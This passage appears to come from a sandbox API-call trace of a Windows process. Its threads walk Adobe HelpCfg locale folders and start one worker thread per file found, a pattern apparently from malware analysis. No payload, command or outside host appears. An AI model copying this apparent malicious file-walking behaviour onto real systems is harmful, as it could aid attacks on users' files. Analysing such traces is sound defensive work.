ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0065.394] FindClose (in: hFindFile=0x4a6220 | out: hFindFile=0x4a6220) returned 1 [0065.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427398) returned 1 [0065.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f8b8) returned 1 [0065.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b7f8) returned 1 Thread: id = 711 os_tid = 0x7a4 [0051.093] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f938 [0051.093] wcscpy (in: _Dest=0x45f938, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0051.093] wcscat (in: _Dest=0x45f938, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" [0051.093] wcscat (in: _Dest=0x45f938, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*" [0051.093] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4269f8 [0051.093] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0060.795] wcscmp (_String1=".", _String2=".") returned 0 [0060.795] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.796] wcscmp (_String1="..", _String2=".") returned 1 [0060.796] wcscmp (_String1="..", _String2="..") returned 0 [0060.796] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x4269f8 | out: lpFindFileData=0x4269f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.796] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.796] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.796] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4e68 [0060.796] wcscpy (in: _Dest=0x5ec4e68, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT" [0060.796] wcscat (in: _Dest=0x5ec4e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\" [0060.796] wcscat (in: _Dest=0x5ec4e68, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\Reader_10.0.helpcfg" Thread: id = 712 os_tid = 0x53c [0051.097] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45f9b8 [0051.097] wcscpy (in: _Dest=0x45f9b8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0051.097] wcscat (in: _Dest=0x45f9b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" [0051.097] wcscat (in: _Dest=0x45f9b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*" [0051.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426c60 [0051.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0055.804] wcscmp (_String1=".", _String2=".") returned 0 [0055.804] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.804] wcscmp (_String1="..", _String2=".") returned 1 [0055.804] wcscmp (_String1="..", _String2="..") returned 0 [0055.804] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0055.804] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0055.804] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0055.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee478 [0055.804] wcscpy (in: _Dest=0x4ee478, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP" [0055.804] wcscat (in: _Dest=0x4ee478, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" [0055.804] wcscat (in: _Dest=0x4ee478, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\Reader_10.0.helpcfg" [0057.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb8 [0057.879] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0057.879] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0057.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426c60) returned 1 [0057.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f9b8) returned 1 [0057.879] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b8e8) returned 1 Thread: id = 713 os_tid = 0x794 [0051.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fa38 [0051.098] wcscpy (in: _Dest=0x45fa38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0051.098] wcscat (in: _Dest=0x45fa38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" [0051.098] wcscat (in: _Dest=0x45fa38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*" [0051.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424d18 [0051.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407a0 [0058.940] wcscmp (_String1=".", _String2=".") returned 0 [0058.940] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.940] wcscmp (_String1="..", _String2=".") returned 1 [0058.940] wcscmp (_String1="..", _String2="..") returned 0 [0058.940] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.940] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.940] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.940] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee6f8 [0058.940] wcscpy (in: _Dest=0x4ee6f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR" [0058.940] wcscat (in: _Dest=0x4ee6f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" [0058.940] wcscat (in: _Dest=0x4ee6f8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg" [0063.882] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee6f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080 [0063.883] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.883] FindClose (in: hFindFile=0x4407a0 | out: hFindFile=0x4407a0) returned 1 [0063.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424d18) returned 1 [0063.883] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fa38) returned 1 [0063.884] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b960) returned 1 Thread: id = 714 os_tid = 0x3c0 [0051.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fab8 [0051.099] wcscpy (in: _Dest=0x45fab8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0051.099] wcscat (in: _Dest=0x45fab8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" [0051.099] wcscat (in: _Dest=0x45fab8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*" [0051.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424848 [0051.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409aa8 [0058.944] wcscmp (_String1=".", _String2=".") returned 0 [0058.944] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.944] wcscmp (_String1="..", _String2=".") returned 1 [0058.944] wcscmp (_String1="..", _String2="..") returned 0 [0058.944] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.944] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.944] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec48c8 [0058.947] wcscpy (in: _Dest=0x5ec48c8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO" [0058.947] wcscat (in: _Dest=0x5ec48c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\" [0058.947] wcscat (in: _Dest=0x5ec48c8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg" [0063.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec48c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0063.896] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x424848 | out: lpFindFileData=0x424848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.896] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0063.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424848) returned 1 [0063.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fab8) returned 1 [0063.896] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b9d8) returned 1 Thread: id = 715 os_tid = 0x274 [0051.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fb38 [0051.099] wcscpy (in: _Dest=0x45fb38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0051.099] wcscat (in: _Dest=0x45fb38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" [0051.099] wcscat (in: _Dest=0x45fb38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*" [0051.099] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426528 [0051.099] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406e0 [0058.941] wcscmp (_String1=".", _String2=".") returned 0 [0058.941] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.941] wcscmp (_String1="..", _String2=".") returned 1 [0058.941] wcscmp (_String1="..", _String2="..") returned 0 [0058.941] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.941] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.941] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.941] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4ee658 [0058.941] wcscpy (in: _Dest=0x4ee658, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL" [0058.941] wcscat (in: _Dest=0x4ee658, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\" [0058.941] wcscat (in: _Dest=0x4ee658, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\Reader_10.0.helpcfg" [0063.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ee658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974 [0063.885] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.885] FindClose (in: hFindFile=0x4406e0 | out: hFindFile=0x4406e0) returned 1 [0063.885] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426528) returned 1 [0063.885] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fb38) returned 1 [0063.885] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ba50) returned 1 Thread: id = 716 os_tid = 0x33c [0051.100] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45fbb8 [0051.101] wcscpy (in: _Dest=0x45fbb8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL" [0051.101] wcscat (in: _Dest=0x45fbb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\" [0051.103] wcscat (in: _Dest=0x45fbb8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*" [0051.104] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x425b88 [0051.104] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x425b88 | out: lpFindFileData=0x425b88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409d28 [0058.948] wcscmp (_String1=".", _String2=".") returned 0 [0058.948] 